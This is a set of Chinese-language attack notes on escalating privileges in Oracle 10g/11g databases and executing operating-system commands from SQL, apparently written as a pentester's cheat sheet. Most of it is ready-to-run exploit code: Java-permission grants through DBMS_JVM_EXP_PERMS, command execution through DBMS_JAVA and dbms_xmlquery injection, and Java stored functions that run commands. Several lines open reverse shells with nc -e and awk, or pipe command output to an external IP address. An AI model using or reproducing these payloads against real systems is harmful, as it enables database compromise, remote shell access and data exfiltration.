- 查看oracle版本 select * from v$version; - 查看当前连接用户是否为DBA select userenv('ISDBA') from dual; - 查看当前用户拥有的角色 select * from user_role_privs; - 查看当前用户的角色的权限，比如有无create session和create procedure select * from session_privs; / select * from role_sys_privs union select * from user_sys_privs; - 查看有哪些DBA用户(需要DBA) select * from dba_role_privs where granted_role='DBA'; - 查看用户拥有的角色(需要DBA) select granted_role from dba_role_privs where grantee='SYSTEM'; - 查看某用户拥有的权限(需要DBA) select privilege from dba_sys_privs where grantee in (select granted_role from dba_role_privs where grantee='SYSTEM' ); - 比较全的 https://www.cnblogs.com/qlqwjy/p/8404959.html
DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission', '<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /
Step2：RCE
1 2 3 4 5 6 7 8 9 10 11 12 13
11g： SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper curl 139.199.203.253:1234') FROM DUAL;
10/11g: 在10g中没有DBMS_JAVA.RUNJAVA，因此用DBMS_JAVA_TEST.FUNCALL，但注意10g还需要获得RuntimePermission权限。11g中也可用这个。 SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/usr/bin/bash','-c','/bin/ls|/usr/bin/nc 139.199.203.253 1234') FROM DUAL;
rce调用的是runtime.exec，没法用$ `，执行命令需要/bin/ls这样，不知道为啥bash -i不行，而且很多情况下没/dev/tcp，因此没法直接bash弹shell： SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper awk "BEGIN{s=\"/inet/tcp/0/139.199.203.253/1234\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}"') FROM DUAL; 或者 SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper nc -e /usr/bin/bash 139.199.203.253 1234') FROM DUAL; 或者这样带外 SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /usr/bin/bash -c "/bin/ls|/usr/bin/nc 139.199.203.253 1234"') FROM DUAL;
dbms_xmlquery实现任意代码执行
DBMS_EXPORT_EXTENSION也可以，大同小异而且影响版本相同，这里只写着一个
Step1: 创建java代码执行包
1
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /
Step3：获得RCE函数
1
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
Step4：RCE
1
select LinxRUNCMD('whoami') from dual;
有CREATE PROCEDURE权限
10/11g
有create procedure直接创建存储过程一把梭就好。
Step1：获得FilePermission权限
1 2 3 4 5 6 7 8 9 10 11 12
DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission', '<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /
create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; public class oraexec { public static String execCommand(String command) throws IOException, InterruptedException { Runtime rt = Runtime.getRuntime(); int bufSize = 4096; byte buffer[] = new byte[bufSize]; String rc = ""; int len; try{ Process p = rt.exec(command); BufferedInputStream bis = new BufferedInputStream(p.getInputStream(), bufSize); while ((len = bis.read(buffer, 0, bufSize)) != -1){ rc += new String(buffer).split("\0")[0];; } bis.close(); p.waitFor(); return rc; } catch (Exception e) { rc = e.getMessage(); } finally { return rc; } } } / create or replace function javae(p_command in varchar2) return varchar2 as language java name 'oraexec.execCommand(java.lang.String) return String'; /
create or replace and compile java source named Decode as import java.io.*; import java.beans.*; public class Decode{ public static void input(String xml) throws InterruptedException, IOException { XMLDecoder decoder = new XMLDecoder(new ByteArrayInputStream(xml.getBytes())); decoder.readObject(); } } ; / CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS language java name 'Decode.input(java.lang.String)'; /
Q1: ORA-29516: Aurora assertion failure: Assertion failure at joez.c:3311 Bulk load of method java/lang/Object.<init> failed; insufficient shm-object space S1: 关闭JIT: alter system set JAVA_JIT_ENABLED=FALSE scope=both;
Q2: Java call terminated by uncaught Java exception: java.security.AccessControlException: the Permission (java.io.FilePermission <<ALL FILES>> execute) has not been granted to SCOTT. The PL/SQL to grant this is dbms_java.grant_permission( 'SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' ) S2: 无FilePermission，使用上面添加FilePermission的语句加一下即可。查看用户Java权限加上了没： select * from user_java_policy where grantee_name='SCOTT';